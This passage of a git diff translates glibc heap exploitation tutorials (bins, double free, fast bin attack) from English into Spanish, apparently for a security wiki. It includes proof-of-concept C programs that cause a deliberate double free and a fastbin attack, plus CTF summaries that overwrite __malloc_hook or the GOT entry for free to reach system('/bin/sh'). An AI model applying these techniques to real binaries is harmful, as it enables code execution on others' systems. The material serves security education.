>> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index(sz) \ - (SIZE_SZ == 8 ? largebin_index_64 (sz) \ - : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ - : largebin_index_32 (sz)) +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) ``` -
-Add a large chunk example - +Agregar un ejemplo de un gran fragmento ```c #include #include int main(void) { - char *chunks[2]; +char *chunks[2]; - chunks[0] = malloc(0x1500); - chunks[1] = malloc(0x1500); - free(chunks[0]); - chunks[0] = malloc(0x2000); +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); - return 0; +return 0; } ``` +Se realizan 2 asignaciones grandes, luego se libera una (colocándola en el contenedor no ordenado) y se realiza una asignación más grande (moviendo la liberada del contenedor no ordenado al contenedor grande). -2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin: - +Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un chunk está en el contenedor grande: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in 0 small non-empty bins. ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 - → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 large non-empty bins. ``` -
-### Top Chunk - +### Parte Superior ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Top +Top - The top-most available chunk (i.e., the one bordering the end of - available memory) is treated specially. It is never included in - any bin, is used only if no other chunk is available, and is - released back to the system if it is very large (see - M_TRIM_THRESHOLD). Because top initially - points to its own bin with initial zero size, thus forcing - extension on the first malloc request, we avoid having any special - code in malloc to check whether it even exists yet. But we still - need to do so when getting memory from system, so we make - initial_top treat the bin as a legal but unusable chunk during the - interval between initialization and the first call to - sysmalloc. (This is somewhat delicate, since it relies on - the 2 preceding words to be zero during this interval as well.) - */ +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` +Básicamente, este es un trozo que contiene toda la memoria heap disponible actualmente. Cuando se realiza un malloc, si no hay ningún trozo libre disponible para usar, este trozo superior reducirá su tamaño para dar el espacio necesario.\ +El puntero al Top Chunk se almacena en la estructura `malloc_state`. -Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ -The pointer to the Top Chunk is stored in the `malloc_state` struct. - -Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk. +Además, al principio, es posible usar el trozo no ordenado como el trozo superior.
-Observe the Top Chunk example - +Observe el ejemplo del Top Chunk ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; } ``` - -After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks: - +Después de compilar y depurar con un punto de interrupción en el opcode `ret` de `main`, vi que el malloc devolvió la dirección `0xaaaaaaac12a0` y estos son los chunks: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` - -Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ -It's also possible to see the length of the Top chunk on its chunk header: - +Donde se puede ver que el chunk superior está en la dirección `0xaaaaaaac1ae0`. Esto no es una sorpresa porque el último chunk asignado estaba en `0xaaaaaaac12a0` con un tamaño de `0x410` y `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\ +También es posible ver la longitud del chunk superior en su encabezado de chunk: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 ``` -
-### Last Remainder +### Último Resto -When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. +Cuando se utiliza malloc y un chunk se divide (por ejemplo, desde el bin no ordenado o desde el chunk superior), el chunk creado a partir del resto del chunk dividido se llama Último Resto y su puntero se almacena en la estructura `malloc_state`. -## Allocation Flow +## Flujo de Asignación -Check out: +Consulta: {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} -## Free Flow +## Flujo de Liberación -Check out: +Consulta: {{#ref}} heap-memory-functions/free.md {{#endref}} -## Heap Functions Security Checks +## Comprobaciones de Seguridad de Funciones de Heap -Check the security checks performed by heavily used functions in heap in: +Revisa las comprobaciones de seguridad realizadas por funciones de uso intensivo en heap en: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## Referencias - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md index a30116d58..4c0a0cf7d 100644 --- a/src/binary-exploitation/libc-heap/double-free.md +++ b/src/binary-exploitation/libc-heap/double-free.md @@ -1,92 +1,90 @@ -# Double Free +# Doble Liberación {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. +Si liberas un bloque de memoria más de una vez, puede desordenar los datos del asignador y abrir la puerta a ataques. Así es como sucede: cuando liberas un bloque de memoria, vuelve a una lista de fragmentos libres (por ejemplo, el "fast bin"). Si liberas el mismo bloque dos veces seguidas, el asignador detecta esto y lanza un error. Pero si **liberas otro fragmento en medio, se omite la verificación de doble liberación**, causando corrupción. -Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. - -Example: +Ahora, cuando pides nueva memoria (usando `malloc`), el asignador podría darte un **bloque que ha sido liberado dos veces**. Esto puede llevar a que dos punteros diferentes apunten a la misma ubicación de memoria. Si un atacante controla uno de esos punteros, puede cambiar el contenido de esa memoria, lo que puede causar problemas de seguridad o incluso permitirles ejecutar código. +Ejemplo: ```c #include #include int main() { - // Allocate memory for three chunks - char *a = (char *)malloc(10); - char *b = (char *)malloc(10); - char *c = (char *)malloc(10); - char *d = (char *)malloc(10); - char *e = (char *)malloc(10); - char *f = (char *)malloc(10); - char *g = (char *)malloc(10); - char *h = (char *)malloc(10); - char *i = (char *)malloc(10); +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); - // Print initial memory addresses - printf("Initial allocations:\n"); - printf("a: %p\n", (void *)a); - printf("b: %p\n", (void *)b); - printf("c: %p\n", (void *)c); - printf("d: %p\n", (void *)d); - printf("e: %p\n", (void *)e); - printf("f: %p\n", (void *)f); - printf("g: %p\n", (void *)g); - printf("h: %p\n", (void *)h); - printf("i: %p\n", (void *)i); +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); - // Fill tcache - free(a); - free(b); - free(c); - free(d); - free(e); - free(f); - free(g); +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); - // Introduce double-free vulnerability in fast bin - free(h); - free(i); - free(h); +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); - // Reallocate memory and print the addresses - char *a1 = (char *)malloc(10); - char *b1 = (char *)malloc(10); - char *c1 = (char *)malloc(10); - char *d1 = (char *)malloc(10); - char *e1 = (char *)malloc(10); - char *f1 = (char *)malloc(10); - char *g1 = (char *)malloc(10); - char *h1 = (char *)malloc(10); - char *i1 = (char *)malloc(10); - char *i2 = (char *)malloc(10); +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); - // Print initial memory addresses - printf("After reallocations:\n"); - printf("a1: %p\n", (void *)a1); - printf("b1: %p\n", (void *)b1); - printf("c1: %p\n", (void *)c1); - printf("d1: %p\n", (void *)d1); - printf("e1: %p\n", (void *)e1); - printf("f1: %p\n", (void *)f1); - printf("g1: %p\n", (void *)g1); - printf("h1: %p\n", (void *)h1); - printf("i1: %p\n", (void *)i1); - printf("i2: %p\n", (void *)i2); +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i2); - return 0; +return 0; } ``` +En este ejemplo, después de llenar el tcache con varios chunks liberados (7), el código **libera el chunk `h`, luego el chunk `i`, y luego `h` nuevamente, causando un doble free** (también conocido como Fast Bin dup). Esto abre la posibilidad de recibir direcciones de memoria superpuestas al reallocar, lo que significa que dos o más punteros pueden apuntar a la misma ubicación de memoria. Manipular datos a través de un puntero puede afectar al otro, creando un riesgo crítico de seguridad y potencial de explotación. -In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. +Al ejecutarlo, nota cómo **`i1` e `i2` obtuvieron la misma dirección**: -Executing it, note how **`i1` and `i2` got the same address**: - -
Initial allocations:
+
Asignaciones iniciales:
 a: 0xaaab0f0c22a0
 b: 0xaaab0f0c22c0
 c: 0xaaab0f0c22e0
@@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
 g: 0xaaab0f0c2360
 h: 0xaaab0f0c2380
 i: 0xaaab0f0c23a0
-After reallocations:
+Después de las reallocaciones:
 a1: 0xaaab0f0c2360
 b1: 0xaaab0f0c2340
 c1: 0xaaab0f0c2320
@@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
 i2: 0xaaab0f0c23a0
 
-## Examples +## Ejemplos - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) - - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite. - - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance). - - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook` - - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution. +- Solo podemos asignar chunks del tamaño de Fast-Bin excepto para el tamaño `0x70`, lo que impide la habitual sobrescritura de `__malloc_hook`. +- En su lugar, usamos direcciones PIE que comienzan con `0x56` como objetivo para Fast Bin dup (1/2 de probabilidad). +- Un lugar donde se almacenan las direcciones PIE es en `main_arena`, que está dentro de Glibc y cerca de `__malloc_hook`. +- Apuntamos a un desplazamiento específico de `main_arena` para asignar un chunk allí y continuar asignando chunks hasta alcanzar `__malloc_hook` para obtener ejecución de código. - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) - - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation: - - We allocate three chunks of size `0x110` (`A`, `B`, `C`) - - We free `B` - - We free `A` and allocate again to use the null-byte overflow - - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again - - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free. - - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md) +- Usando bins de Tcache y un desbordamiento de byte nulo, podemos lograr una situación de doble free: +- Asignamos tres chunks de tamaño `0x110` (`A`, `B`, `C`) +- Liberamos `B` +- Liberamos `A` y asignamos nuevamente para usar el desbordamiento de byte nulo +- Ahora el campo de tamaño de `B` es `0x100`, en lugar de `0x111`, por lo que podemos liberarlo nuevamente +- Tenemos un Tcache-bin de tamaño `0x110` y uno de tamaño `0x100` que apuntan a la misma dirección. Así que tenemos un doble free. +- Aprovechamos el doble free usando [Tcache poisoning](tcache-bin-attack.md) -## References +## Referencias - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free) diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index c36c675de..2c6271efc 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -2,18 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -For more information about what is a fast bin check this page: +Para más información sobre qué es un fast bin, consulta esta página: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. - -As summary: +Debido a que el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y solo **modificar una dirección en un chunk de fast bin liberado** es suficiente para poder **asignar más tarde un chunk en cualquier dirección de memoria**. +Como resumen: ```c ptr0 = malloc(0x20); ptr1 = malloc(0x20); @@ -29,9 +28,7 @@ free(ptr1) ptr2 = malloc(0x20); // This will get ptr1 ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it ``` - -You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): - +Puedes encontrar un ejemplo completo en un código muy bien explicado de [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): ```c #include #include @@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu int main(void) { - puts("Today we will be discussing a fastbin attack."); - puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); - puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); - puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); - puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); - puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); - puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); - puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); - puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); - puts("Let's start, we will allocate three chunks of size 0x30\n"); - unsigned long *ptr0, *ptr1, *ptr2; +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; - ptr0 = malloc(0x30); - ptr1 = malloc(0x30); - ptr2 = malloc(0x30); +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); - printf("Chunk 0: %p\n", ptr0); - printf("Chunk 1: %p\n", ptr1); - printf("Chunk 2: %p\n\n", ptr2); +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); - printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); - int stackVar = 0x55; +int stackVar = 0x55; - printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); - printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); - char *data0 = "00000000"; - char *data1 = "11111111"; - char *data2 = "22222222"; +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; - memcpy(ptr0, data0, 0x8); - memcpy(ptr1, data1, 0x8); - memcpy(ptr2, data2, 0x8); +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); - printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); - printf("Chunk 0: %s\n", (char *)ptr0); - printf("Chunk 1: %s\n", (char *)ptr1); - printf("Chunk 2: %s\n\n", (char *)ptr2); +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); - printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); - free(ptr0); - free(ptr1); - free(ptr2); +free(ptr0); +free(ptr1); +free(ptr2); - printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); - printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); - printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); - printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); - printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); - printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); - *ptr1 = (unsigned long)((char *)&stackVar); +*ptr1 = (unsigned long)((char *)&stackVar); - printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); - printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); - printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); - unsigned long *ptr3, *ptr4, *ptr5; +unsigned long *ptr3, *ptr4, *ptr5; - ptr3 = malloc(0x30); - ptr4 = malloc(0x30); - ptr5 = malloc(0x30); +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); - printf("Chunk 3: %p\n", ptr3); - printf("Chunk 4: %p\n", ptr4); - printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); - printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); } ``` - > [!CAUTION] -> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) +> Si es posible sobrescribir el valor de la variable global **`global_max_fast`** con un número grande, esto permite generar chunks de fast bin de tamaños mayores, lo que potencialmente permite realizar ataques de fast bin en escenarios donde anteriormente no era posible. Esta situación es útil en el contexto de [large bin attack](large-bin-attack.md) y [unsorted bin attack](unsorted-bin-attack.md) -## Examples +## Ejemplos - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - Finally a **one gadget** was written in there. +- Es posible asignar chunks, liberarlos, leer su contenido y llenarlos (con una vulnerabilidad de desbordamiento). +- **Consolidar chunk para infoleak**: La técnica consiste básicamente en abusar del desbordamiento para crear un `prev_size` falso, de modo que un chunk anterior se coloque dentro de uno más grande, por lo que al asignar el más grande que contiene otro chunk, es posible imprimir sus datos y filtrar una dirección a libc (`main_arena+88`). +- **Sobrescribir malloc hook**: Para esto, y abusando de la situación de superposición anterior, fue posible tener 2 chunks que apuntaban a la misma memoria. Por lo tanto, al liberar ambos (liberando otro chunk en medio para evitar protecciones) fue posible tener el mismo chunk en el fast bin 2 veces. Luego, fue posible asignarlo nuevamente, sobrescribir la dirección del siguiente chunk para que apunte un poco antes de `__malloc_hook` (así que apunta a un entero que malloc piensa que es un tamaño libre - otro bypass), asignarlo nuevamente y luego asignar otro chunk que recibirá una dirección a malloc hooks.\ +Finalmente, se escribió un **one gadget** allí. - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. +- Hay un desbordamiento de heap y uso después de liberar y doble liberación porque cuando un chunk se libera es posible reutilizar y volver a liberar los punteros. +- **Libc info leak**: Simplemente libera algunos chunks y obtendrán un puntero a una parte de la ubicación de la arena principal. Como puedes reutilizar punteros liberados, solo lee esta dirección. +- **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks con el mismo tamaño y primero obtendremos el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- Otro ejemplo de abusar de un desbordamiento de un byte para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget. - **CTF** 